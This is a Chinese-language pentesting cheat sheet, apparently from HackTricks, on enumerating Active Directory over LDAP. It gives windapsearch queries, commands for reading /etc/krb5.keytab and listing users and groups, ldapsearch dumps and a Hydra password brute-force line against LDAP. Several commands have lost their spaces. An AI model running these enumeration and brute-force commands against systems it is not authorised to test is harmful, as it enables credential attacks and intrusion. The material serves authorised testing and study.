LDAP匿名绑定允许未经身份验证的攻击者从域中检索信息，例如完整的用户、组、计算机、用户帐户属性和域密码策略列表。这是一个传统配置，自Windows Server 2003起，只有经过身份验证的用户才被允许发起LDAP请求。
然而，管理员可能需要设置特定应用程序以允许匿名绑定并提供比预期更多的访问权限，从而使未经身份验证的用户可以访问AD中的所有对象。
Windapsearch 是一个使用 LDAP 查询来枚举 Windows 域中的用户、组和计算机的 Python 脚本。
# Get computerspython3windapsearch.py--dc-ip10.10.10.10-ujohn@domain.local-ppassword--computers# Get groupspython3windapsearch.py--dc-ip10.10.10.10-ujohn@domain.local-ppassword--groups# Get userspython3windapsearch.py--dc-ip10.10.10.10-ujohn@domain.local-ppassword--da# Get Domain Adminspython3windapsearch.py--dc-ip10.10.10.10-ujohn@domain.local-ppassword--da# Get Privileged Userspython3windapsearch.py--dc-ip10.10.10.10-ujohn@domain.local-ppassword--privileged-users
# CREDENTIALS NOT VALID RESPONSEsearch:2result:1Operationserrortext:000004DC:LdapErr:DSID-0C090A4C,comment:Inordertoperformthisoperationasuccessfulbindmustbecompletedontheconnection.,data0,v3839
#Read keytab file./klist-k/etc/krb5.keytab#Get known domains info./get-status./lsaget-status#Get basic metrics./get-metrics./lsaget-metrics#Get users./enum-users./lsaenum-users#Get groups./enum-groups./lsaenum-groups#Get all kind of objects./enum-objects./lsaenum-objects#Get groups of a user./list-groups-for-user<username>./lsalist-groups-for-user<username>#Get groups of each user./enum-users | grep "Name:" | sed -e "s,\\\,\\\\\\\,g" | awk '{print $2}' | while read name; do ./list-groups-for-user "$name"; echo -e "========================\n"; done
#Get users of a group./enum-members--by-name"domain admins"./lsaenum-members--by-name"domain admins"#Get users of each group./enum-groups | grep "Name:" | sed -e "s,\\\,\\\\\\\,g" | awk '{print $2}' | while read name; do echo "$name"; ./enum-members --by-name "$name"; echo -e "========================\n"; done
#Get description of each user./adtool-asearch-user--nameCN="*"--keytab=/etc/krb5.keytab-n<Username>|grep"CN"|whilereadline; doecho"$line";./adtool--keytab=/etc/krb5.keytab-n<username>-alookup-object--dn="$line"--attr"description";echo"======================"done
Protocol_Name: LDAP #Protocol Abbreviation if there is one.
Port_Number: 389,636 #Comma separated if there is more than one.
Protocol_Description: Lightweight Directory Access Protocol #Protocol Abbreviation Spelled out
Entry_1:
Name: Notes
Description: Notes for LDAP
Note: |
The use of LDAP (Lightweight Directory Access Protocol) is mainly for locating various entities such as organizations, individuals, and resources like files and devices within networks, both public and private. It offers a streamlined approach compared to its predecessor, DAP, by having a smaller code footprint.
https://book.hacktricks.xyz/pentesting/pentesting-ldap
Entry_2:
Name: Banner Grab
Description: Grab LDAP Banner
Command: nmap -p 389 --script ldap-search -Pn {IP}
Entry_3:
Name: LdapSearch
Description: Base LdapSearch
Command: ldapsearch -H ldap://{IP} -x
Entry_4:
Name: LdapSearch Naming Context Dump
Description: Attempt to get LDAP Naming Context
Command: ldapsearch -H ldap://{IP} -x -s base namingcontexts
Entry_5:
Name: LdapSearch Big Dump
Description: Need Naming Context to do big dump
Command: ldapsearch -H ldap://{IP} -x -b "{Naming_Context}"
Entry_6:
Name: Hydra Brute Force
Description: Need User
Command: hydra -l {Username} -P {Big_Passwordlist} {IP} ldap2 -V -f
